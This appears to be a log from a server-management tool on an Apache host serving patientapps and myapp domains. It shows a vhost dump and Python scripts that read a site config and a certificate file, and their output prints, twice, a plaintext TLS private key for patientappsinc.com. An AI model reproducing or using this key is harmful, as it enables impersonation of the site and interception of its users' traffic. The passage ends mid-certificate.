         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-24 10:33:40: 

PUT: /tmp/pkp234942

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/patientappsinc_store_com.conf')
    show_file('/etc/apache2/sites-available/patientappsinc_store_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 10:33:40: 

chmod 755 /tmp/pkp234942; /tmp/pkp234942; rm /tmp/pkp234942

2026-05-24 10:33:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/patientappsinc_store_com.conf	1734

<VirtualHost *:80>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com store.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com store.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/patientappsinc_store_com.conf	1734

<VirtualHost *:80>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com store.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com store.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>







2026-05-24 10:33:40: 

PUT: /tmp/pkp148668

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 10:33:40: 

chmod 755 /tmp/pkp148668; /tmp/pkp148668; rm /tmp/pkp148668

2026-05-24 10:33:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt	5437
45:8f:60:39:60:bd:88:d0:78:aa:23:19:83:41:90:23

-----BEGIN CERTIFICATE-----
MIIFPDCCBCSgAwIBAgISBYFNed52tTaevm2LwNfF/TLyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTI0MDUwMjExWhcNMjYwODIyMDUwMjEwWjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC+reO0D7TNtS2vFsMDPm8STWSdsE/H6/6CjwuhUnWDi+gKUNb94r8vuDhp
ZL45Op4Ck/fz7GyaxxvKShSVUgQHgE1ZCx1sqQBVdNJH5AZqZDdjpeA8XLFc4piN
NGGjQt8nmm349Lim6lyMPHCMtrd1PdPhopM5xF/BGGol6enl0s10KQTQJICDT+il
eSZTiMGSiHpb0PLxEBQVvy7XYKy7B5Y95yFTAWcKSDkqROuDTkOT7lqLhLur1iv5
//te+NEO7WPgLCOgCZf2wxs2WXF42gEL90Xzoj+Up4I8IjEf1vnnLktkJiQX2K2a
M4m6/wxW26qH+fXTz7Lsy9x4udYHAgMBAAGjggJeMIICWjAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
jBYyYIzOMIf976lQjRHWp78qEAAwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKE
DjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmku
bGVuY3Iub3JnLzBbBgNVHREEVDBSgg9wYXRpZW50YXBwcy5jb22CEnBhdGllbnRh
cHBzaW5jLmNvbYITd3d3LnBhdGllbnRhcHBzLmNvbYIWd3d3LnBhdGllbnRhcHBz
aW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5o
dHRwOi8vcjEzLmMubGVuY3Iub3JnLzExNS5jcmwwggELBgorBgEEAdZ5AgQCBIH8
BIH5APcAfgBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ5YkkYC
AAgAAAUAB3qllgQDAEcwRQIhAMicLS+OKAhViwQjD2OQ+1TaFYqFdrnBgs/q54wk
ffJrAiAAkx/XinNg5PNAilF0IxmHE5vJX+6TjuB8PLaL/6qHZwB1AK9niDtXsE7d
j6bZfvYuqOuBCsdxYPAkXlXWDC/nhYc6AAABnliSRlUAAAQDAEYwRAIgfUzQ5gCf
8gR3Ur4wqaP/rOTnjfod7JdyRcxosJTYxZgCIEtSyBNR2hHy9+/FLA0Hs32DDp/w
UjJJwJMoVJuKFO3sMA0GCSqGSIb3DQEBCwUAA4IBAQCeIJutF1EUKpVI1/zXvzIt
1LPjHUCQFUJZcTqWsLzN9fLtz5o+jpAlPKZAbMumnRFlOlMPCcze7JmoEWgr9UkJ
q7NbqJWIOusc1TmlwXiW4fzzNRjwzwGA7NSioVa1ojSom4ZfSH3B3bLGYam2CFlV
k/p7hE95/veXjARpz7TGpIF0F5EXMMFZJMVOwcNYf/3zA19Ux6JNtYNaYfV48SDz
CbOvpW9StFRgLGd5JNYKCLrfg0zIa4FrJM6VLDhBIgUG1YnBDY8Kh0LFBlX2+cG+
4Ejy8Wc769NqcUWRmN3DkSDcWyx52fDXZWphKliBKMdQXNlh7OHglUWYo+oDfNTg
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC+reO0D7TNtS2v
FsMDPm8STWSdsE/H6/6CjwuhUnWDi+gKUNb94r8vuDhpZL45Op4Ck/fz7GyaxxvK
ShSVUgQHgE1ZCx1sqQBVdNJH5AZqZDdjpeA8XLFc4piNNGGjQt8nmm349Lim6lyM
PHCMtrd1PdPhopM5xF/BGGol6enl0s10KQTQJICDT+ileSZTiMGSiHpb0PLxEBQV
vy7XYKy7B5Y95yFTAWcKSDkqROuDTkOT7lqLhLur1iv5//te+NEO7WPgLCOgCZf2
wxs2WXF42gEL90Xzoj+Up4I8IjEf1vnnLktkJiQX2K2aM4m6/wxW26qH+fXTz7Ls
y9x4udYHAgMBAAECggEAASwBtVQ9YgTYZq0CWfaJxO8ZQ2xFDdPbRF7dscoyvERz
pP5M6a2L3fokg8HhiSCmdPW9/nQl45Xr1LtgQN3T0YMgbW2Zs+jnbB8IeBrJBeFf
FX3FkPce4Dl7cK66hOSRQByPggofkmefDLS89cYmkO1mR50WZLKRWGBA0sIdfdLi
LZnGwwEH01JL1V3O+ZJr6CKgdpyDrqTP+NEjTtIrAcUMtlyxwHrUDbPExAOYG/Sj
vV2Qgf1QOFCng+zsh8Zv0z6bBx/2Kz515cqFzqqZavVwiX+bqHnI+BAcj0ONgLK3
Rg1Rv5zJRAXn5JQhyVmSyuTtlIpIuUD2HnCmYz0QWQKBgQD+HtXkuxnPwJ2mr0F7
Z7bakHO8SPip7sOfi449k6PrrPWzY4J1ssytV3XddirITUYF6ZCGLc7/82ztXyfz
9HTz8ygeX/ZZqcBLXRLMI4j7qt9w57Pyp2b2yVSxbJ01mej9FS+fEPHEj4HHAS6L
AXLtz1WNj+fzu3g5KfJNjmagaQKBgQDAFu5iL2n0CzXnj8EkqgNavLybgqyyr6HS
KMmsVLtGSumsv83JEb23OkQ8stRIRQl6iofbpA3x47XB5BBxBZIOEY38LC9WVqzQ
DK/5VRwKODXPa6w7UdoIBFZ13dbY87MUKo2IGGRYexxBIabszdapyTYAbw3kEBkL
GQaz5Rb07wKBgQCRuYETD7A3kM9XHL1CVTFomNmlqXrfiAoqXc8NxLKFncOwQWo4
sHXrGXJ/sxnJj3aOQWgdafuAj0lxvdWdchv3IQNql8Efndal4RO8eMw+9bf4eQaa
KiFDeCTXMd/dMwuGxjVu1Dqwa1MSmbzk/cm4UeNPsKxk+qZwsXs/ul9jsQKBgQCY
+mo09a+69KakWN8n9OIhBEhszN/+mlMUjPk37m8K5yQ8OLCJnkBpyNSJRp47RAft
eKAD8x5L8t5QoPHbIOWVoLNkDkhQyUxtkH0g44AmP2fTXdvXjjNGyTWWPusY8tQ+
jjkTFuHreXgiAsvusWtw4lbId6knZQ6cwPyOjjb/LwKBgC5E4+W6389KtgluZxe2
LCkIaITvyiHpC2xw21XE45BPUk64tpeANJl5jDpwm7yAx9bktOiip3I1Os6Hc5KE
jkaAu8dTkKTyaNyNtJpChaEjRotQdnMueUMV+/BdZrziiD0NnyGmCeSFDEJydzT8
HdxsGB6UeepFoFw6EdlpDpDP
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-24 10:33:41: 

PUT: /tmp/pkp668101

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 10:33:41: 

chmod 755 /tmp/pkp668101; /tmp/pkp668101; rm /tmp/pkp668101

2026-05-24 10:33:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt	5437
45:8f:60:39:60:bd:88:d0:78:aa:23:19:83:41:90:23

-----BEGIN CERTIFICATE-----
MIIFPDCCBCSgAwIBAgISBYFNed52tTaevm2LwNfF/TLyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTI0MDUwMjExWhcNMjYwODIyMDUwMjEwWjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC+reO0D7TNtS2vFsMDPm8STWSdsE/H6/6CjwuhUnWDi+gKUNb94r8vuDhp
ZL45Op4Ck/fz7GyaxxvKShSVUgQHgE1ZCx1sqQBVdNJH5AZqZDdjpeA8XLFc4piN
NGGjQt8nmm349Lim6lyMPHCMtrd1PdPhopM5xF/BGGol6enl0s10KQTQJICDT+il
eSZTiMGSiHpb0PLxEBQVvy7XYKy7B5Y95yFTAWcKSDkqROuDTkOT7lqLhLur1iv5
//te+NEO7WPgLCOgCZf2wxs2WXF42gEL90Xzoj+Up4I8IjEf1vnnLktkJiQX2K2a
M4m6/wxW26qH+fXTz7Lsy9x4udYHAgMBAAGjggJeMIICWjAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
jBYyYIzOMIf976lQjRHWp78qEAAwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKE
DjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmku
bGVuY3Iub3JnLzBbBgNVHREEVDBSgg9wYXRpZW50YXBwcy5jb22CEnBhdGllbnRh
cHBzaW5jLmNvbYITd3d3LnBhdGllbnRhcHBzLmNvbYIWd3d3LnBhdGllbnRhcHBz
aW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5o
dHRwOi8vcjEzLmMubGVuY3Iub3JnLzExNS5jcmwwggELBgorBgEEAdZ5AgQCBIH8
BIH5APcAfgBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ5YkkYC
AAgAAAUAB3qllgQDAEcwRQIhAMicLS+OKAhViwQjD2OQ+1TaFYqFdrnBgs/q54wk
ffJrAiAAkx/XinNg5PNAilF0IxmHE5vJX+6TjuB8PLaL/6qHZwB1AK9niDtXsE7d
j6bZfvYuqOuBCsdxYPAkXlXWDC/nhYc6AAABnliSRlUAAAQDAEYwRAIgfUzQ5gCf
8gR3Ur4wqaP/rOTnjfod7JdyRcxosJTYxZgCIEtSyBNR2hHy9+/FLA0Hs32DDp/w
UjJJwJMoVJuKFO3sMA0GCSqGSIb3DQEBCwUAA4IBAQCeIJutF1EUKpVI1/zXvzIt
1LPjHUCQFUJZcTqWsLzN9fLtz5o+jpAlPKZAbMumnRFlOlMPCcze7JmoEWgr9UkJ
q7NbqJWIOusc1TmlwXiW4fzzNRjwzwGA7NSioVa1ojSom4ZfSH3B3bLGYam2CFlV
k/p7hE95/veXjARpz7TGpIF0F5EXMMFZJMVOwcNYf/3zA19Ux6JNtYNaYfV48SDz
CbOvpW9StFRgLGd5JNYKCLrfg0zIa4FrJM6VLDhBIgUG1YnBDY8Kh0LFBlX2+cG+
4Ejy8Wc769NqcUWRmN3DkSDcWyx52fDXZWphKliBKMdQXNlh7OHglUWYo+oDfNTg
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC+reO0D7TNtS2v
FsMDPm8STWSdsE/H6/6CjwuhUnWDi+gKUNb94r8vuDhpZL45Op4Ck/fz7GyaxxvK
ShSVUgQHgE1ZCx1sqQBVdNJH5AZqZDdjpeA8XLFc4piNNGGjQt8nmm349Lim6lyM
PHCMtrd1PdPhopM5xF/BGGol6enl0s10KQTQJICDT+ileSZTiMGSiHpb0PLxEBQV
vy7XYKy7B5Y95yFTAWcKSDkqROuDTkOT7lqLhLur1iv5//te+NEO7WPgLCOgCZf2
wxs2WXF42gEL90Xzoj+Up4I8IjEf1vnnLktkJiQX2K2aM4m6/wxW26qH+fXTz7Ls
y9x4udYHAgMBAAECggEAASwBtVQ9YgTYZq0CWfaJxO8ZQ2xFDdPbRF7dscoyvERz
pP5M6a2L3fokg8HhiSCmdPW9/nQl45Xr1LtgQN3T0YMgbW2Zs+jnbB8IeBrJBeFf
FX3FkPce4Dl7cK66hOSRQByPggofkmefDLS89cYmkO1mR50WZLKRWGBA0sIdfdLi
LZnGwwEH01JL1V3O+ZJr6CKgdpyDrqTP+NEjTtIrAcUMtlyxwHrUDbPExAOYG/Sj
vV2Qgf1QOFCng+zsh8Zv0z6bBx/2Kz515cqFzqqZavVwiX+bqHnI+BAcj0ONgLK3
Rg1Rv5zJRAXn5JQhyVmSyuTtlIpIuUD2HnCmYz0QWQKBgQD+HtXkuxnPwJ2mr0F7
Z7bakHO8SPip7sOfi449k6PrrPWzY4J1ssytV3XddirITUYF6ZCGLc7/82ztXyfz
9HTz8ygeX/ZZqcBLXRLMI4j7qt9w57Pyp2b2yVSxbJ01mej9FS+fEPHEj4HHAS6L
AXLtz1WNj+fzu3g5KfJNjmagaQKBgQDAFu5iL2n0CzXnj8EkqgNavLybgqyyr6HS
KMmsVLtGSumsv83JEb23OkQ8stRIRQl6iofbpA3x47XB5BBxBZIOEY38LC9WVqzQ
DK/5VRwKODXPa6w7UdoIBFZ13dbY87MUKo2IGGRYexxBIabszdapyTYAbw3kEBkL
GQaz5Rb07wKBgQCRuYETD7A3kM9XHL1CVTFomNmlqXrfiAoqXc8NxLKFncOwQWo4
sHXrGXJ/sxnJj3aOQWgdafuAj0lxvdWdchv3IQNql8Efndal4RO8eMw+9bf4eQaa
KiFDeCTXMd/dMwuGxjVu1Dqwa1MSmbzk/cm4UeNPsKxk+qZwsXs/ul9jsQKBgQCY
+mo09a+69KakWN8n9OIhBEhszN/+mlMUjPk37m8K5yQ8OLCJnkBpyNSJRp47RAft
eKAD8x5L8t5QoPHbIOWVoLNkDkhQyUxtkH0g44AmP2fTXdvXjjNGyTWWPusY8tQ+
jjkTFuHreXgiAsvusWtw4lbId6knZQ6cwPyOjjb/LwKBgC5E4+W6389KtgluZxe2
LCkIaITvyiHpC2xw21XE45BPUk64tpeANJl5jDpwm7yAx9bktOiip3I1Os6Hc5KE
jkaAu8dTkKTyaNyNtJpChaEjRotQdnMueUMV+/BdZrziiD0NnyGmCeSFDEJydzT8
HdxsGB6UeepFoFw6EdlpDpDP
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
